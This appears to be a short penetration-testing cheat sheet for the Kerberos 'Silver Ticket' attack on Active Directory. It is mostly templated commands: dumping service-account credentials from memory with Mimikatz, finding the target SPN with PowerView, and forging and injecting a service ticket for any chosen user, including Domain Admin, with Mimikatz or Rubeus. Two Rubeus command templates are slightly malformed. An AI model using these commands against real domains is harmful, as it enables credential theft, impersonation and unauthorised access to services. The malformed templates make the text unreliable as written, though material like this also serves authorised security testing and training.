Silver Ticket

---

Info

What’s it about ? It basically allows us to access the service configured with SPN as any user of our choice. We can pretend to be Domain Admin too.

Requirements

• Domain SID
• Password / ‘Password Hash’ of Service Account
• Target SPN

Tools

• Mimikatz
• Rubeus

---

Attack

If service account have a logged on session on the machine , use mimikatz to obtain service account hash

privilege::debug
 
sekurlsa::logonpasswords

Get Domain SID , it could have been taken from the output of mimikatz as well

whoami /user

Now get Service principal name of the target service [ Powerview ]

Get-DomainUser {{Target-Service}} -Properties serviceprincipalname

Now mimikatz golden module we can forge the ticket to the service

kerberos::golden /sid:{{Domain_SID}} /domain:{{Domain}} /ptt /target:{{SPN}} /service:{{Service-protocol}} /rc4:{{SPN-PASS-Hash}} /user:{{ANY_USER}}

view kerberos ticket in memory

klist

---

If we had the password of the Service account we could have used rubeus for this.

• password - Service Account
• Domain SID
• service principle name

Hashing the SPN password

Rubeus hash /password:{{password}}

copy the rc4 hash and supply to either Rubeus or Mimi Katz for ticket generation.

Silver Ticket Generation

./Rubeus.exe silver /service{{spn}} /rc4:{{Password_hash}} /sid:{{domain-sid}} /domain:{domain} /ptt /user:{{ANY-USER}}

Now the ticket must be imported in memory just access any machine.

---